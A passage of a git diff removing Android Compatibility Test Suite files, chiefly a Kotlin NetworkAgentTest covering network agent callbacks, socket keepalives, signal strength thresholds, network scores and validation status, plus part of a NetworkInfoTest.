-              mCtsNetUtils.awaitPrivateDnsSetting("NxDomain test wait private DNS setting timeout",
-                        network, GOOGLE_PRIVATE_DNS_SERVER, true);
-              runResNnxDomainCheck(network.getNetworkHandle());
-            }
-        } finally {
-            mCtsNetUtils.restorePrivateDnsSetting();
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkAgentTest.kt b/tests/tests/net/src/android/net/cts/NetworkAgentTest.kt
deleted file mode 100644
index d2ca3f8..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkAgentTest.kt
+++ /dev/null
@@ -1,641 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts
-
-import android.app.Instrumentation
-import android.content.Context
-import android.net.ConnectivityManager
-import android.net.KeepalivePacketData
-import android.net.LinkAddress
-import android.net.LinkProperties
-import android.net.Network
-import android.net.NetworkAgent
-import android.net.NetworkAgent.CMD_ADD_KEEPALIVE_PACKET_FILTER
-import android.net.NetworkAgent.CMD_PREVENT_AUTOMATIC_RECONNECT
-import android.net.NetworkAgent.CMD_REMOVE_KEEPALIVE_PACKET_FILTER
-import android.net.NetworkAgent.CMD_REPORT_NETWORK_STATUS
-import android.net.NetworkAgent.CMD_SAVE_ACCEPT_UNVALIDATED
-import android.net.NetworkAgent.CMD_START_SOCKET_KEEPALIVE
-import android.net.NetworkAgent.CMD_STOP_SOCKET_KEEPALIVE
-import android.net.NetworkAgent.INVALID_NETWORK
-import android.net.NetworkAgent.VALID_NETWORK
-import android.net.NetworkAgentConfig
-import android.net.NetworkCapabilities
-import android.net.NetworkProvider
-import android.net.NetworkRequest
-import android.net.SocketKeepalive
-import android.net.StringNetworkSpecifier
-import android.net.Uri
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnAddKeepalivePacketFilter
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnAutomaticReconnectDisabled
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnBandwidthUpdateRequested
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnNetworkUnwanted
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnRemoveKeepalivePacketFilter
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnSaveAcceptUnvalidated
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnSignalStrengthThresholdsUpdated
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnStartSocketKeepalive
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnStopSocketKeepalive
-import android.net.cts.NetworkAgentTest.TestableNetworkAgent.CallbackEntry.OnValidationStatus
-import android.os.Build
-import android.os.Bundle
-import android.os.Handler
-import android.os.HandlerThread
-import android.os.Looper
-import android.os.Message
-import android.os.Messenger
-import androidx.test.InstrumentationRegistry
-import androidx.test.runner.AndroidJUnit4
-import com.android.internal.util.AsyncChannel
-import com.android.net.module.util.ArrayTrackRecord
-import com.android.testutils.DevSdkIgnoreRule
-import com.android.testutils.RecorderCallback.CallbackEntry.Available
-import com.android.testutils.RecorderCallback.CallbackEntry.Lost
-import com.android.testutils.TestableNetworkCallback
-import org.junit.After
-import org.junit.Assert.assertArrayEquals
-import org.junit.Assert.fail
-import org.junit.Before
-import org.junit.Rule
-import org.junit.Test
-import org.junit.runner.RunWith
-import java.net.InetAddress
-import java.time.Duration
-import java.util.UUID
-import kotlin.test.assertEquals
-import kotlin.test.assertFailsWith
-import kotlin.test.assertFalse
-import kotlin.test.assertNotNull
-import kotlin.test.assertNull
-import kotlin.test.assertTrue
-
-// This test doesn't really have a constraint on how fast the methods should return. If it's
-// going to fail, it will simply wait forever, so setting a high timeout lowers the flake ratio
-// without affecting the run time of successful runs. Thus, set a very high timeout.
-private const val DEFAULT_TIMEOUT_MS = 5000L
-// When waiting for a NetworkCallback to determine there was no timeout, waiting is the
-// only possible thing (the relevant handler is the one in the real ConnectivityService,
-// and then there is the Binder call), so have a short timeout for this as it will be
-// exhausted every time.
-private const val NO_CALLBACK_TIMEOUT = 200L
-// Any legal score (0~99) for the test network would do, as it is going to be kept up by the
-// requests filed by the test and should never match normal internet requests. 70 is the default
-// score of Ethernet networks, it's as good a value as any other.
-private const val TEST_NETWORK_SCORE = 70
-private const val BETTER_NETWORK_SCORE = 75
-private const val FAKE_NET_ID = 1098
-private val instrumentation: Instrumentation
-    get() = InstrumentationRegistry.getInstrumentation()
-private val context: Context
-    get() = InstrumentationRegistry.getContext()
-private fun Message(what: Int, arg1: Int, arg2: Int, obj: Any?) = Message.obtain().also {
-    it.what = what
-    it.arg1 = arg1
-    it.arg2 = arg2
-    it.obj = obj
-}
-
-@RunWith(AndroidJUnit4::class)
-class NetworkAgentTest {
-    @Rule @JvmField
-    val ignoreRule = DevSdkIgnoreRule(ignoreClassUpTo = Build.VERSION_CODES.Q)
-
-    private val LOCAL_IPV4_ADDRESS = InetAddress.parseNumericAddress("192.0.2.1")
-    private val REMOTE_IPV4_ADDRESS = InetAddress.parseNumericAddress("192.0.2.2")
-
-    private val mCM = context.getSystemService(ConnectivityManager::class.java)
-    private val mHandlerThread = HandlerThread("${javaClass.simpleName} handler thread")
-    private val mFakeConnectivityService by lazy { FakeConnectivityService(mHandlerThread.looper) }
-
-    private class Provider(context: Context, looper: Looper) :
-            NetworkProvider(context, looper, "NetworkAgentTest NetworkProvider")
-
-    private val agentsToCleanUp = mutableListOf<NetworkAgent>()
-    private val callbacksToCleanUp = mutableListOf<TestableNetworkCallback>()
-
-    @Before
-    fun setUp() {
-        instrumentation.getUiAutomation().adoptShellPermissionIdentity()
-        mHandlerThread.start()
-    }
-
-    @After
-    fun tearDown() {
-        agentsToCleanUp.forEach { it.unregister() }
-        callbacksToCleanUp.forEach { mCM.unregisterNetworkCallback(it) }
-        mHandlerThread.quitSafely()
-        instrumentation.getUiAutomation().dropShellPermissionIdentity()
-    }
-
-    /**
-     * A fake that helps simulating ConnectivityService talking to a harnessed agent.
-     * This fake only supports speaking to one harnessed agent at a time because it
-     * only keeps track of one async channel.
-     */
-    private class FakeConnectivityService(looper: Looper) {
-        private val CMD_EXPECT_DISCONNECT = 1
-        private var disconnectExpected = false
-        private val msgHistory = ArrayTrackRecord<Message>().newReadHead()
-        private val asyncChannel = AsyncChannel()
-        private val handler = object : Handler(looper) {
-            override fun handleMessage(msg: Message) {
-                msgHistory.add(Message.obtain(msg)) // make a copy as the original will be recycled
-                when (msg.what) {
-                    CMD_EXPECT_DISCONNECT -> disconnectExpected = true
-                    AsyncChannel.CMD_CHANNEL_HALF_CONNECTED ->
-                        asyncChannel.sendMessage(AsyncChannel.CMD_CHANNEL_FULL_CONNECTION)
-                    AsyncChannel.CMD_CHANNEL_DISCONNECTED ->
-                        if (!disconnectExpected) {
-                            fail("Agent unexpectedly disconnected")
-                        } else {
-                            disconnectExpected = false
-                        }
-                }
-            }
-        }
-
-        fun connect(agentMsngr: Messenger) = asyncChannel.connect(context, handler, agentMsngr)
-
-        fun disconnect() = asyncChannel.disconnect()
-
-        fun sendMessage(what: Int, arg1: Int = 0, arg2: Int = 0, obj: Any? = null) =
-            asyncChannel.sendMessage(Message(what, arg1, arg2, obj))
-
-        fun expectMessage(what: Int) =
-            assertNotNull(msgHistory.poll(DEFAULT_TIMEOUT_MS) { it.what == what })
-
-        fun willExpectDisconnectOnce() = handler.sendEmptyMessage(CMD_EXPECT_DISCONNECT)
-    }
-
-    private open class TestableNetworkAgent(
-        looper: Looper,
-        val nc: NetworkCapabilities,
-        val lp: LinkProperties,
-        conf: NetworkAgentConfig
-    ) : NetworkAgent(context, looper, TestableNetworkAgent::class.java.simpleName /* tag */,
-            nc, lp, TEST_NETWORK_SCORE, conf, Provider(context, looper)) {
-        private val history = ArrayTrackRecord<CallbackEntry>().newReadHead()
-
-        sealed class CallbackEntry {
-            object OnBandwidthUpdateRequested : CallbackEntry()
-            object OnNetworkUnwanted : CallbackEntry()
-            data class OnAddKeepalivePacketFilter(
-                val slot: Int,
-                val packet: KeepalivePacketData
-            ) : CallbackEntry()
-            data class OnRemoveKeepalivePacketFilter(val slot: Int) : CallbackEntry()
-            data class OnStartSocketKeepalive(
-                val slot: Int,
-                val interval: Int,
-                val packet: KeepalivePacketData
-            ) : CallbackEntry()
-            data class OnStopSocketKeepalive(val slot: Int) : CallbackEntry()
-            data class OnSaveAcceptUnvalidated(val accept: Boolean) : CallbackEntry()
-            object OnAutomaticReconnectDisabled : CallbackEntry()
-            data class OnValidationStatus(val status: Int, val uri: Uri?) : CallbackEntry()
-            data class OnSignalStrengthThresholdsUpdated(val thresholds: IntArray) : CallbackEntry()
-        }
-
-        fun getName(): String? = (nc.getNetworkSpecifier() as? StringNetworkSpecifier)?.specifier
-
-        override fun onBandwidthUpdateRequested() {
-            history.add(OnBandwidthUpdateRequested)
-        }
-
-        override fun onNetworkUnwanted() {
-            history.add(OnNetworkUnwanted)
-        }
-
-        override fun onAddKeepalivePacketFilter(slot: Int, packet: KeepalivePacketData) {
-            history.add(OnAddKeepalivePacketFilter(slot, packet))
-        }
-
-        override fun onRemoveKeepalivePacketFilter(slot: Int) {
-            history.add(OnRemoveKeepalivePacketFilter(slot))
-        }
-
-        override fun onStartSocketKeepalive(
-            slot: Int,
-            interval: Duration,
-            packet: KeepalivePacketData
-        ) {
-            history.add(OnStartSocketKeepalive(slot, interval.seconds.toInt(), packet))
-        }
-
-        override fun onStopSocketKeepalive(slot: Int) {
-            history.add(OnStopSocketKeepalive(slot))
-        }
-
-        override fun onSaveAcceptUnvalidated(accept: Boolean) {
-            history.add(OnSaveAcceptUnvalidated(accept))
-        }
-
-        override fun onAutomaticReconnectDisabled() {
-            history.add(OnAutomaticReconnectDisabled)
-        }
-
-        override fun onSignalStrengthThresholdsUpdated(thresholds: IntArray) {
-            history.add(OnSignalStrengthThresholdsUpdated(thresholds))
-        }
-
-        fun expectEmptySignalStrengths() {
-            expectCallback<OnSignalStrengthThresholdsUpdated>().let {
-                // intArrayOf() without arguments makes an empty array
-                assertArrayEquals(intArrayOf(), it.thresholds)
-            }
-        }
-
-        override fun onValidationStatus(status: Int, uri: Uri?) {
-            history.add(OnValidationStatus(status, uri))
-        }
-
-        // Expects the initial validation event that always occurs immediately after registering
-        // a NetworkAgent whose network does not require validation (which test networks do
-        // not, since they lack the INTERNET capability). It always contains the default argument
-        // for the URI.
-        fun expectNoInternetValidationStatus() = expectCallback<OnValidationStatus>().let {
-            assertEquals(it.status, VALID_NETWORK)
-            // The returned Uri is parsed from the empty string, which means it's an
-            // instance of the (private) Uri.StringUri. There are no real good ways
-            // to check this, the least bad is to just convert it to a string and
-            // make sure it's empty.
-            assertEquals("", it.uri.toString())
-        }
-
-        inline fun <reified T : CallbackEntry> expectCallback(): T {
-            val foundCallback = history.poll(DEFAULT_TIMEOUT_MS)
-            assertTrue(foundCallback is T, "Expected ${T::class} but found $foundCallback")
-            return foundCallback
-        }
-
-        fun assertNoCallback() {
-            assertTrue(waitForIdle(DEFAULT_TIMEOUT_MS),
-                    "Handler didn't became idle after ${DEFAULT_TIMEOUT_MS}ms")
-            assertNull(history.peek())
-        }
-    }
-
-    private fun requestNetwork(request: NetworkRequest, callback: TestableNetworkCallback) {
-        mCM.requestNetwork(request, callback)
-        callbacksToCleanUp.add(callback)
-    }
-
-    private fun registerNetworkCallback(
-        request: NetworkRequest,
-        callback: TestableNetworkCallback
-    ) {
-        mCM.registerNetworkCallback(request, callback)
-        callbacksToCleanUp.add(callback)
-    }
-
-    private fun createNetworkAgent(name: String? = null): TestableNetworkAgent {
-        val nc = NetworkCapabilities().apply {
-            addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-            removeCapability(NetworkCapabilities.NET_CAPABILITY_TRUSTED)
-            removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-            addCapability(NetworkCapabilities.NET_CAPABILITY_NOT_SUSPENDED)
-            addCapability(NetworkCapabilities.NET_CAPABILITY_NOT_ROAMING)
-            addCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-            if (null != name) {
-                setNetworkSpecifier(StringNetworkSpecifier(name))
-            }
-        }
-        val lp = LinkProperties().apply {
-            addLinkAddress(LinkAddress(LOCAL_IPV4_ADDRESS, 0))
-        }
-        val config = NetworkAgentConfig.Builder().build()
-        return TestableNetworkAgent(mHandlerThread.looper, nc, lp, config).also {
-            agentsToCleanUp.add(it)
-        }
-    }
-
-    private fun createConnectedNetworkAgent(name: String? = null):
-            Pair<TestableNetworkAgent, TestableNetworkCallback> {
-        val request: NetworkRequest = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .build()
-        val callback = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS)
-        requestNetwork(request, callback)
-        val agent = createNetworkAgent(name)
-        agent.register()
-        agent.markConnected()
-        return agent to callback
-    }
-
-    private fun createNetworkAgentWithFakeCS() = createNetworkAgent().also {
-        mFakeConnectivityService.connect(it.registerForTest(Network(FAKE_NET_ID)))
-    }
-
-    @Test
-    fun testConnectAndUnregister() {
-        val (agent, callback) = createConnectedNetworkAgent()
-        callback.expectAvailableThenValidatedCallbacks(agent.network)
-        agent.expectEmptySignalStrengths()
-        agent.expectNoInternetValidationStatus()
-        agent.unregister()
-        callback.expectCallback<Lost>(agent.network)
-        agent.expectCallback<OnNetworkUnwanted>()
-        assertFailsWith<IllegalStateException>("Must not be able to register an agent twice") {
-            agent.register()
-        }
-    }
-
-    @Test
-    fun testOnBandwidthUpdateRequested() {
-        val (agent, callback) = createConnectedNetworkAgent()
-        callback.expectAvailableThenValidatedCallbacks(agent.network)
-        agent.expectEmptySignalStrengths()
-        agent.expectNoInternetValidationStatus()
-        mCM.requestBandwidthUpdate(agent.network)
-        agent.expectCallback<OnBandwidthUpdateRequested>()
-        agent.unregister()
-    }
-
-    @Test
-    fun testSignalStrengthThresholds() {
-        val thresholds = intArrayOf(30, 50, 65)
-        val callbacks = thresholds.map { strength ->
-            val request = NetworkRequest.Builder()
-                    .clearCapabilities()
-                    .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                    .setSignalStrength(strength)
-                    .build()
-            TestableNetworkCallback(DEFAULT_TIMEOUT_MS).also {
-                registerNetworkCallback(request, it)
-            }
-        }
-        createConnectedNetworkAgent().let { (agent, callback) ->
-            callback.expectAvailableThenValidatedCallbacks(agent.network)
-            agent.expectCallback<OnSignalStrengthThresholdsUpdated>().let {
-                assertArrayEquals(it.thresholds, thresholds)
-            }
-            agent.expectNoInternetValidationStatus()
-
-            // Send signal strength and check that the callbacks are called appropriately.
-            val nc = NetworkCapabilities(agent.nc)
-            nc.setSignalStrength(20)
-            agent.sendNetworkCapabilities(nc)
-            callbacks.forEach { it.assertNoCallback(NO_CALLBACK_TIMEOUT) }
-
-            nc.setSignalStrength(40)
-            agent.sendNetworkCapabilities(nc)
-            callbacks[0].expectAvailableCallbacks(agent.network)
-            callbacks[1].assertNoCallback(NO_CALLBACK_TIMEOUT)
-            callbacks[2].assertNoCallback(NO_CALLBACK_TIMEOUT)
-
-            nc.setSignalStrength(80)
-            agent.sendNetworkCapabilities(nc)
-            callbacks[0].expectCapabilitiesThat(agent.network) { it.signalStrength == 80 }
-            callbacks[1].expectAvailableCallbacks(agent.network)
-            callbacks[2].expectAvailableCallbacks(agent.network)
-
-            nc.setSignalStrength(55)
-            agent.sendNetworkCapabilities(nc)
-            callbacks[0].expectCapabilitiesThat(agent.network) { it.signalStrength == 55 }
-            callbacks[1].expectCapabilitiesThat(agent.network) { it.signalStrength == 55 }
-            callbacks[2].expectCallback<Lost>(agent.network)
-        }
-        callbacks.forEach {
-            mCM.unregisterNetworkCallback(it)
-        }
-    }
-
-    @Test
-    fun testSocketKeepalive(): Unit = createNetworkAgentWithFakeCS().let { agent ->
-        val packet = object : KeepalivePacketData(
-                LOCAL_IPV4_ADDRESS /* srcAddress */, 1234 /* srcPort */,
-                REMOTE_IPV4_ADDRESS /* dstAddress */, 4567 /* dstPort */,
-                ByteArray(100 /* size */) { it.toByte() /* init */ }) {}
-        val slot = 4
-        val interval = 37
-
-        mFakeConnectivityService.sendMessage(CMD_ADD_KEEPALIVE_PACKET_FILTER,
-                arg1 = slot, obj = packet)
-        mFakeConnectivityService.sendMessage(CMD_START_SOCKET_KEEPALIVE,
-                arg1 = slot, arg2 = interval, obj = packet)
-
-        agent.expectCallback<OnAddKeepalivePacketFilter>().let {
-            assertEquals(it.slot, slot)
-            assertEquals(it.packet, packet)
-        }
-        agent.expectCallback<OnStartSocketKeepalive>().let {
-            assertEquals(it.slot, slot)
-            assertEquals(it.interval, interval)
-            assertEquals(it.packet, packet)
-        }
-
-        agent.assertNoCallback()
-
-        // Check that when the agent sends a keepalive event, ConnectivityService receives the
-        // expected message.
-        agent.sendSocketKeepaliveEvent(slot, SocketKeepalive.ERROR_UNSUPPORTED)
-        mFakeConnectivityService.expectMessage(NetworkAgent.EVENT_SOCKET_KEEPALIVE).let() {
-            assertEquals(slot, it.arg1)
-            assertEquals(SocketKeepalive.ERROR_UNSUPPORTED, it.arg2)
-        }
-
-        mFakeConnectivityService.sendMessage(CMD_STOP_SOCKET_KEEPALIVE, arg1 = slot)
-        mFakeConnectivityService.sendMessage(CMD_REMOVE_KEEPALIVE_PACKET_FILTER, arg1 = slot)
-        agent.expectCallback<OnStopSocketKeepalive>().let {
-            assertEquals(it.slot, slot)
-        }
-        agent.expectCallback<OnRemoveKeepalivePacketFilter>().let {
-            assertEquals(it.slot, slot)
-        }
-    }
-
-    @Test
-    fun testSendUpdates(): Unit = createConnectedNetworkAgent().let { (agent, callback) ->
-        callback.expectAvailableThenValidatedCallbacks(agent.network)
-        agent.expectEmptySignalStrengths()
-        agent.expectNoInternetValidationStatus()
-        val ifaceName = "adhocIface"
-        val lp = LinkProperties(agent.lp)
-        lp.setInterfaceName(ifaceName)
-        agent.sendLinkProperties(lp)
-        callback.expectLinkPropertiesThat(agent.network) {
-            it.getInterfaceName() == ifaceName
-        }
-        val nc = NetworkCapabilities(agent.nc)
-        nc.addCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED)
-        agent.sendNetworkCapabilities(nc)
-        callback.expectCapabilitiesThat(agent.network) {
-            it.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED)
-        }
-    }
-
-    @Test
-    fun testSendScore() {
-        // This test will create two networks and check that the one with the stronger
-        // score wins out for a request that matches them both.
-        // First create requests to make sure both networks are kept up, using the
-        // specifier so they are specific to each network
-        val name1 = UUID.randomUUID().toString()
-        val name2 = UUID.randomUUID().toString()
-        val request1 = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .setNetworkSpecifier(StringNetworkSpecifier(name1))
-                .build()
-        val request2 = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .setNetworkSpecifier(StringNetworkSpecifier(name2))
-                .build()
-        val callback1 = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS)
-        val callback2 = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS)
-        requestNetwork(request1, callback1)
-        requestNetwork(request2, callback2)
-
-        // Then file the interesting request
-        val request = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .build()
-        val callback = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS)
-        requestNetwork(request, callback)
-
-        // Connect the first Network
-        createConnectedNetworkAgent(name1).let { (agent1, _) ->
-            callback.expectAvailableThenValidatedCallbacks(agent1.network)
-            // Upgrade agent1 to a better score so that there is no ambiguity when
-            // agent2 connects that agent1 is still better
-            agent1.sendNetworkScore(BETTER_NETWORK_SCORE - 1)
-            // Connect the second agent
-            createConnectedNetworkAgent(name2).let { (agent2, _) ->
-                agent2.markConnected()
-                // The callback should not see anything yet
-                callback.assertNoCallback(NO_CALLBACK_TIMEOUT)
-                // Now update the score and expect the callback now prefers agent2
-                agent2.sendNetworkScore(BETTER_NETWORK_SCORE)
-                callback.expectCallback<Available>(agent2.network)
-            }
-        }
-
-        // tearDown() will unregister the requests and agents
-    }
-
-    @Test
-    fun testSetAcceptUnvalidated() {
-        createNetworkAgentWithFakeCS().let { agent ->
-            mFakeConnectivityService.sendMessage(CMD_SAVE_ACCEPT_UNVALIDATED, 1)
-            agent.expectCallback<OnSaveAcceptUnvalidated>().let {
-                assertTrue(it.accept)
-            }
-            agent.assertNoCallback()
-        }
-    }
-
-    @Test
-    fun testSetAcceptUnvalidatedPreventAutomaticReconnect() {
-        createNetworkAgentWithFakeCS().let { agent ->
-            mFakeConnectivityService.sendMessage(CMD_SAVE_ACCEPT_UNVALIDATED, 0)
-            mFakeConnectivityService.sendMessage(CMD_PREVENT_AUTOMATIC_RECONNECT)
-            agent.expectCallback<OnSaveAcceptUnvalidated>().let {
-                assertFalse(it.accept)
-            }
-            agent.expectCallback<OnAutomaticReconnectDisabled>()
-            agent.assertNoCallback()
-            // When automatic reconnect is turned off, the network is torn down and
-            // ConnectivityService sends a disconnect. This in turn causes the agent
-            // to send a DISCONNECTED message to CS.
-            mFakeConnectivityService.willExpectDisconnectOnce()
-            mFakeConnectivityService.disconnect()
-            mFakeConnectivityService.expectMessage(AsyncChannel.CMD_CHANNEL_DISCONNECTED)
-            agent.expectCallback<OnNetworkUnwanted>()
-        }
-    }
-
-    @Test
-    fun testPreventAutomaticReconnect() {
-        createNetworkAgentWithFakeCS().let { agent ->
-            mFakeConnectivityService.sendMessage(CMD_PREVENT_AUTOMATIC_RECONNECT)
-            agent.expectCallback<OnAutomaticReconnectDisabled>()
-            agent.assertNoCallback()
-            mFakeConnectivityService.willExpectDisconnectOnce()
-            mFakeConnectivityService.disconnect()
-            mFakeConnectivityService.expectMessage(AsyncChannel.CMD_CHANNEL_DISCONNECTED)
-            agent.expectCallback<OnNetworkUnwanted>()
-        }
-    }
-
-    @Test
-    fun testValidationStatus() = createNetworkAgentWithFakeCS().let { agent ->
-        val uri = Uri.parse("http://www.google.com")
-        val bundle = Bundle().apply {
-            putString(NetworkAgent.REDIRECT_URL_KEY, uri.toString())
-        }
-        mFakeConnectivityService.sendMessage(CMD_REPORT_NETWORK_STATUS,
-                arg1 = VALID_NETWORK, obj = bundle)
-        agent.expectCallback<OnValidationStatus>().let {
-            assertEquals(it.status, VALID_NETWORK)
-            assertEquals(it.uri, uri)
-        }
-
-        mFakeConnectivityService.sendMessage(CMD_REPORT_NETWORK_STATUS,
-                arg1 = INVALID_NETWORK, obj = Bundle())
-        agent.expectCallback<OnValidationStatus>().let {
-            assertEquals(it.status, INVALID_NETWORK)
-            assertNull(it.uri)
-        }
-    }
-
-    @Test
-    fun testTemporarilyUnmeteredCapability() {
-        // This test will create a networks with/without NET_CAPABILITY_TEMPORARILY_NOT_METERED
-        // and check that the callback reflects the capability changes.
-        // First create a request to make sure the network is kept up
-        val request1 = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .build()
-        val callback1 = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS).also {
-            registerNetworkCallback(request1, it)
-        }
-        requestNetwork(request1, callback1)
-
-        // Then file the interesting request
-        val request = NetworkRequest.Builder()
-                .clearCapabilities()
-                .addTransportType(NetworkCapabilities.TRANSPORT_TEST)
-                .build()
-        val callback = TestableNetworkCallback(timeoutMs = DEFAULT_TIMEOUT_MS)
-        requestNetwork(request, callback)
-
-        // Connect the network
-        createConnectedNetworkAgent().let { (agent, _) ->
-            callback.expectAvailableThenValidatedCallbacks(agent.network)
-
-            // Send TEMP_NOT_METERED and check that the callback is called appropriately.
-            val nc1 = NetworkCapabilities(agent.nc)
-                    .addCapability(NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED)
-            agent.sendNetworkCapabilities(nc1)
-            callback.expectCapabilitiesThat(agent.network) {
-                it.hasCapability(NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED)
-            }
-
-            // Remove TEMP_NOT_METERED and check that the callback is called appropriately.
-            val nc2 = NetworkCapabilities(agent.nc)
-                    .removeCapability(NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED)
-            agent.sendNetworkCapabilities(nc2)
-            callback.expectCapabilitiesThat(agent.network) {
-                !it.hasCapability(NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED)
-            }
-        }
-
-        // tearDown() will unregister the requests and agents
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkInfoTest.kt b/tests/tests/net/src/android/net/cts/NetworkInfoTest.kt
deleted file mode 100644
index fa15e8f..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkInfoTest.kt
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts
-
-import android.os.Build
-import android.content.Context
-import android.net.ConnectivityManager
-import android.net.NetworkInfo
-import android.net.NetworkInfo.DetailedState
-import android.net.NetworkInfo.State
-import android.telephony.TelephonyManager
-import androidx.test.filters.SmallTest
-import androidx.test.platform.app.InstrumentationRegistry
-import androidx.test.runner.AndroidJUnit4
-import com.android.testutils.DevSdkIgnoreRule
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo
-import org.junit.Assert.assertEquals
-import org.junit.Assert.assertNotNull
-import org.junit.Assert.assertNull
-import org.junit.Assert.assertTrue
-import org.junit.Assert.fail
-import org.junit.Rule
-import org.junit.runner.RunWith
-import org.junit.Test
-
-const val TYPE_MOBILE = ConnectivityManager.TYPE_MOBILE
-const val TYPE_WIFI = ConnectivityManager.TYPE_WIFI
-const val MOBILE_TYPE_NAME = "mobile"
-const val WIFI_TYPE_NAME = "WIFI"
-const val LTE_SUBTYPE_NAME = "LTE"
-
-@SmallTest
-@RunWith(AndroidJUnit4::class)
-class NetworkInfoTest {
-    @Rule @JvmField
-    val ignoreRule = DevSdkIgnoreRule()
-
-    @Test
-    fun testAccessNetworkInfoProperties() {
-        val cm = InstrumentationRegistry.getInstrumentation().context
-                .getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
-        val ni = cm.getAllNetworkInfo()
-        assertTrue(ni.isNotEmpty())
-
-        for (netInfo in ni) {
-            when (netInfo.getType()) {
-                TYPE_MOBILE -> assertNetworkInfo(netInfo, MOBILE_TYPE_NAME)
-                TYPE_WIFI -> assertNetworkInfo(netInfo, WIFI_TYPE_NAME)
-                // TODO: Add BLUETOOTH_TETHER testing
-            }
-        }
-    }
-
-    private fun assertNetworkInfo(netInfo: NetworkInfo, expectedTypeName: String) {
-        assertTrue(expectedTypeName.equals(netInfo.getTypeName(), ignoreCase = true))
-        assertNotNull(netInfo.toString())
-
-        if (!netInfo.isConnectedOrConnecting()) return
-
-        assertTrue(netInfo.isAvailable())
-        if (State.CONNECTED == netInfo.getState()) {
-            assertTrue(netInfo.isConnected())
-        }
-        assertTrue(State.CONNECTING == netInfo.getState() ||
-                State.CONNECTED == netInfo.getState())
-        assertTrue(DetailedState.SCANNING == netInfo.getDetailedState() ||
-                DetailedState.CONNECTING == netInfo.getDetailedState() ||
-                DetailedState.AUTHENTICATING == netInfo.getDetailedState() ||
-                DetailedState.CONNECTED == netInfo.getDetailedState())
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q)
-    fun testConstructor() {
-        val networkInfo = NetworkInfo(TYPE_MOBILE, TelephonyManager.NETWORK_TYPE_LTE,
-                MOBILE_TYPE_NAME, LTE_SUBTYPE_NAME)
-
-        assertEquals(TYPE_MOBILE, networkInfo.type)
-        assertEquals(TelephonyManager.NETWORK_TYPE_LTE, networkInfo.subtype)
-        assertEquals(MOBILE_TYPE_NAME, networkInfo.typeName)
-        assertEquals(LTE_SUBTYPE_NAME, networkInfo.subtypeName)
-        assertEquals(DetailedState.IDLE, networkInfo.detailedState)
-        assertEquals(State.UNKNOWN, networkInfo.state)
-        assertNull(networkInfo.reason)
-        assertNull(networkInfo.extraInfo)
-
-        try {
-            NetworkInfo(ConnectivityManager.MAX_NETWORK_TYPE + 1,
-                    TelephonyManager.NETWORK_TYPE_LTE, MOBILE_TYPE_NAME, LTE_SUBTYPE_NAME)
-            fail("Unexpected behavior. Network type is invalid.")
-        } catch (e: IllegalArgumentException) {
-            // Expected behavior.
-        }
-    }
-
-    @Test
-    fun testSetDetailedState() {
-        val networkInfo = NetworkInfo(TYPE_MOBILE, TelephonyManager.NETWORK_TYPE_LTE,
-                MOBILE_TYPE_NAME, LTE_SUBTYPE_NAME)
-        val reason = "TestNetworkInfo"
-        val extraReason = "setDetailedState test"
-
